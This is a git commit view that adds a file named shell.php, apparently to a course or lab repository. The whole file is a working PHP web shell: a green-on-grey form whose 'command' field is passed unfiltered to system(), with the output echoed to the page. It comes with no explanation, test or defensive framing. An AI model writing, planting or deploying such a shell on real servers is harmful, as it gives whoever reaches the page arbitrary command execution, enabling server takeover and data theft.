This commit is contained in:
Sivert V. Sæther
2024-12-08 17:19:06 +01:00
commit 8ffc4db7a8
9 changed files with 269 additions and 0 deletions

22
3/shell.php Normal file
View File

@@ -0,0 +1,22 @@
<html>
<style>
body {
color: lime;
background-color: #333;
}
</style>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['command']))
{
system($_GET['command'] . ' 2>&1');
}
?>
</pre>
</body>
</html>